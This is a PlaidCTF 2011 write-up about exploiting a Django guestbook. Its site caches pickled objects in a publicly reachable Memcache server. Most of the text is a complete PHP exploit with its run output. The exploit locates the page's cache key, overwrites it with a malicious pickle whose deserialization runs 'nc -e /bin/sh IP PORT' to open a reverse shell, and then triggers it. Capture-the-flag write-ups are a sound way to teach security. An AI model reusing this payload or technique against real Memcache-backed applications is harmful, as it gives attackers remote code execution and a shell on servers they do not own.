25
Apr
2011

pCTF 2011 – Mission 13: “Django..really?” Write-up

This is a quick write up of the Django webchallenge from PlaidCTF 2011.

Web application is a guestbook written using Django and can be found at: http://a12.amalgamated.biz/DjangoProblem1

Upon investigation it turns out they have pagecaching in Django enabled using Memcache. Memcache is a key/value store accessible over TCP. The memcache server is publicly accessible on the default memcached port 11211.

Some snooping around on the memcached server reveals Django uses python serialized objects in the cache. Serialized objects in the memcache keystore have a flag of ‘1’. (We missed this detail for a long time :/)

These serialized objects can be serialized/unserialized using the pickle/cPickle API in python. Pickle is pretty insecure in some regards, as documented here: http://nadiana.com/python-pickle-insecure
Long story short: we can execute commands upon object deserialization.

When we trick the webserver/application into thinking we are requesting a new page that has not been cached yet by appending parameters to the GET querystring we can create arbitrary cache objects.

By grabbing a list of all cache items in memcached, requesting a new page and grabbing a list of all cache items again we can figure out which cache key belongs to our page.

Without further ado, our exploit:

<?php

    function alert($str) {
        echo "[!] ".$str."\n";
    }

    function info($str) {
        echo "[~] ".$str."\n";
    }

    function read_till_end($f, $last) {
        $buf = null;
        while(1) {
            $buf = fread($f, 8192);
            if (strpos($buf, $last) !== false)
                return $buf;
        }
    }

    function get_keys($f) {
        info("requesting items..");
        fwrite($f, "stats items\r\n");

        $buf = read_till_end($f, "END");
        $lines = explode("\n", $buf);
        $ids=array();

        info("parsing items..");
        foreach($lines as $line) {
            $p = explode(":", $line);

            if(count($p)<=1)
                continue;

            if (!in_array($p[1], $ids))
                $ids[]=$p[1];
        }

        $keys = array();

        foreach($ids as $id) {
            info("parsing slabz ".$id);
            fwrite($f, "stats cachedump ".$id." 100\r\n");
    
            $b = read_till_end($f, "END");

            $lines = explode("\n", $b);

            foreach($lines as $line) {
                $p = explode(" ", $line);

                if (count($p) > 1 && strpos($line, "GET") !== false)
                    $keys[] = $p[1];
            }
        }

        return $keys;
    }

    $payload =  "import cPickle\n".
                "import subprocess\n".
                "class LeetShit(object):\n".
                "  def __reduce__(self):\n".
                "    return (subprocess.Popen, ".
                "(('/bin/sh','-c','nc -e /bin/sh IP PORT'),))\n".
                "print cPickle.dumps(LeetShit())";

    echo ">>> pCTF 2011 - 'Django...really?' exploit by EINDBAZEN\n\n";

    if (count($argv) != 3) {
        alert("usage: ".$argv[0]." <ip> <port>");
        die();
    }

    $payload = str_replace("IP", $argv[1], $payload);
    $payload = str_replace("PORT", $argv[2], $payload);

    $fp = fsockopen("a12.amalgamated.biz", 11211);
    stream_set_timeout($fp, 1);

    alert("connected");
    info("key dump #1");
    $oldKeys = get_keys($fp);

    info("requesting unique page");
    $url = "http://a12.amalgamated.biz/DjangoProblem1/?a".md5(time());
    file_get_contents($url);

    info("key dump #2");
    $newKeys = get_keys($fp);

    foreach($newKeys as $key) {
        if (!in_array($key, $oldKeys)) {
            $finalKey = $key;
            break;
        }
    }

    if(empty($finalKey)) {
        alert("could not find correct cache key :(");
        die();
    }

    info("got cache key '".$finalKey."'");

    system("echo \"" . $payload . "\" | python - > payload.bin");
    fwrite($fp,
        "set ".$finalKey." 1 900 ".filesize("payload.bin")."\r\n".
        file_get_contents("payload.bin")."\r\n"
    );

    unlink("payload.bin");

    $result = fread($fp, 128);
    info("cache store result: ".trim($result));
    info("triggering payload.. hold your breath");

    @file_get_contents($url);

    fwrite($fp, "quit\r\n");
    fclose($fp);
    info("maybe you have a shell now :)");
?>

$ php django.php 192.168.13.37 1234
>>> pCTF 2011 - 'Django...really?' exploit by EINDBAZEN

[!] connected
[~] key dump #1
[~] requesting items..
[~] parsing items..
[~] parsing slabz 3
[~] parsing slabz 5
[~] parsing slabz 6
[~] parsing slabz 10
[~] parsing slabz 28
[~] requesting unique page
[~] key dump #2
[~] requesting items..
[~] parsing items..
[~] parsing slabz 3
[~] parsing slabz 5
[~] parsing slabz 6
[~] parsing slabz 10
[~] parsing slabz 28
[~] got cache key ':1:views.decorators.cache.cache_page..GET.d5a55afae6133ffdf886097b7ad6a239.d41d8cd98f00b204e9800998ecf8427e.en-us'
[~] cache store result: STORED
[~] triggering payload.. hold your breath
[~] maybe you have a shell now πŸ™‚

Comments are closed.